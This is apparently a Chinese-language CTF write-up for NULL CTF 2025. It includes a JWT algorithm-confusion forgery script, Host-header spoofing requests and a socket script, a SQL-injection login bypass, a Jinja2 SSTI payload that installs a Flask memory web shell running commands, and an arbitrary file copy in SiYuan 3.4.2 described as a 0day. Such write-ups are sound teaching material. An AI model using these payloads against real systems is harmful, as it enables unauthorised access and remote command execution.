NULL CTF 2025

Next Jason

漏洞代码:

image-20251215211158402

image-20251215211240723

允许用对称加密 HMAC,还允许我们获取 publicKey,直接一把锁,伪造 admin 的 jwt 拿到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def forge_token(public_key):
header = {"alg": "HS256", "typ": "JWT"}
payload = {"username": "admin"}

header_enc = base64url_encode(json.dumps(header, separators=(',', ':')))
payload_enc = base64url_encode(json.dumps(payload, separators=(',', ':')))

msg = f"{header_enc}.{payload_enc}"

secret = public_key.encode('utf-8')

signature = hmac.new(secret, msg.encode('utf-8'), hashlib.sha256).digest()
sig_enc = base64url_encode(signature)

token = f"{msg}.{sig_enc}"
return token

Codename Neigh

image-20251215211847951

尝试构造请求:

1
curl.exe -v -H "Host: 127.0.0.1" "http://public.ctf.r0devnull.team:3002/flag?q"

image-20251215211942467

Codename Neigh 2

image-20251215212954205

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import socket

def send_request():
host = "public.ctf.r0devnull.team"
port = 3003

# We want to send a request to //flag
# And Host header: 127.0.0.1

request = (
"GET http://public.ctf.r0devnull.team:3003/flag HTTP/1.1\r\n"
"Host: 127.0.0.1\r\n"
"Connection: close\r\n"
"\r\n"
)

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(request.encode())

response = b""
while True:
data = s.recv(4096)
if not data:
break
response += data

s.close()
print(response.decode(errors='replace'))
except Exception as e:
print(f"Error: {e}")

if __name__ == "__main__":
send_request()

用 绝对路径配合 HOST 伪造,绕过并拿到flag。

s1mple

image-20251215213417891

任何一个用户 万能密码都能进去 '+or+1=1+--+

进管理员的看看:

image-20251215213550004

无法渲染,用 zebra 进来也是 admin,。都到这了肯定就是 ssti 没跑了。

扫个目录:

image-20251215214739576

扫到 /page 可以 SSTI:

打入内存马:

1
{{lipsum.__globals__.__builtins__.eval('[ __import__(\'time\').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for zzz in [ lambda : __import__(\'os\').popen(jinja_globals["request"].args.get("cmd", "id")).read() ] if [ app.__dict__.update({\'_got_first_request\':False}), app.add_url_rule("/zzz", endpoint="zzz", view_func=zzz) ] ]')}}

image-20251215214956180

Archivist’s Whisper

附件给出了 superpassword

image-20251216123800843

进去之后查看版本号并结合题目提示,siyuan 3.4.2 的 0day。

siyuan-note/siyuan at v3.4.2

image-20251216123918244

本来想着打渲染但是:

image-20251216124534429

要求必须在工作目录下。

image-20251216124205757

这里可以任意文件复制,只检查文件是否存在而不一定要求在 /workplace 下。

/opt/siyuan/startup.sh image-20251216124605104

把它复制到 public 目录下(或任意一个静态挂载目录下):

image-20251216125721669

image-20251216125553554

直接就读到了。